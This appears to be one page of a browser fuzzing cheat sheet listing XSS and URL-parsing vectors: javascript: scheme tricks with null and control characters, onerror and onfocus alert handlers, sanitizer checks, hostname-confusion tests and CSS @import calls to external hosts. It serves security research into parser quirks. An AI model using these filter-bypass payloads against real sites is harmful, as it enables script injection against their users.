Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 210 vectors with results
<style>@import url⟦00⟧('https://juicesippy.net/style.css');</style>checkSanitizer('<a href="�javascript:foo">test</a>') && alert[i];0x0D
checkSanitizer('<a href="java�script:foo">test</a>') && alert[i];0x0D
checkSanitizer('<a href="javascript�:foo">test</a>') && alert[i];Checks if JS urls are supported by the HTML Sanitizer API.
const url = new URL(`/${String.fromCodePoint(0)}javascript:alert(origin)`);0x0D
if (url.protocol === 'javascript:') {0x0D
alert(0);0x0D
}Fuzz if window.location.href = `/${user_input}`; can redirect to javascript pseudo protocol.
<style>⟦0D⟧
@import⟦00⟧'//91e7358bc4c4.ngrok-free.app/test.css'⟦0D⟧
</style>0x0D
<div id=x>test</div>0x0D
<0x00xss autofocus tabindex=1 onfocus=alert(0)></xss>Vector to test what characters are allowed in a custom HTML tag
<a href="https://0x00.example.com/" id="test0"></a>Checks which characters are allowed before a domain name.
<img src="/image.png" tag="0x00><iframe><!--">Checks for any escaping from the img tag attribute from encoded input without using double quotes
<img src="0x00<iframe><!--">if (new URL("https://0x00javascript:alert()").protocol=="javascript:"){alert(0)}Vector to check if any character can be used to ignore https:// scheme in URL
<img0x00onerror=alert() src=x />Characters that function as attribute separators inside HTML tags.
<img 0x09src=https://fuzz.shazzer.co.uk/6ouba1fj739?9>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img
src=https://fuzz.shazzer.co.uk/44htcif5y5i?10>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img 0x0Csrc=https://fuzz.shazzer.co.uk/buljnfzkcg?12>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img 0x0Dsrc=https://fuzz.shazzer.co.uk/t6ak5cjwooe?13>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<img src=https://fuzz.shazzer.co.uk/lkamj8s9j8s?32>Uses CSP violations to determine if external resources have been requested. This fuzzes characters before the src attribute.
<div id=x style="--�:red;color:var(--�)">test</div><div id=x style="---:red;color:var(---)">test</div><div id=x style="--_:red;color:var(--_)">test</div>if (new URL("https://example.co" + String.fromCodePoint(9) + "m").hostname === 'example.com'){alert(9)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(10) + "m").hostname === 'example.com'){alert(10)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(13) + "m").hostname === 'example.com'){alert(13)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(173) + "m").hostname === 'example.com'){alert(173)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
if (new URL("https://example.co" + String.fromCodePoint(847) + "m").hostname === 'example.com'){alert(847)}Checks what characters can be added in the middle of "example.com", while keeping the hostname "example.com"
<a href="https://0x09example.com/" id="test9"></a><a href="https://
example.com/" id="test10"></a><a href="https://0x0Dexample.com/" id="test13"></a><a href="https:///example.com/" id="test47"></a><a href="https://@example.com/" id="test64"></a>Page 1 of 11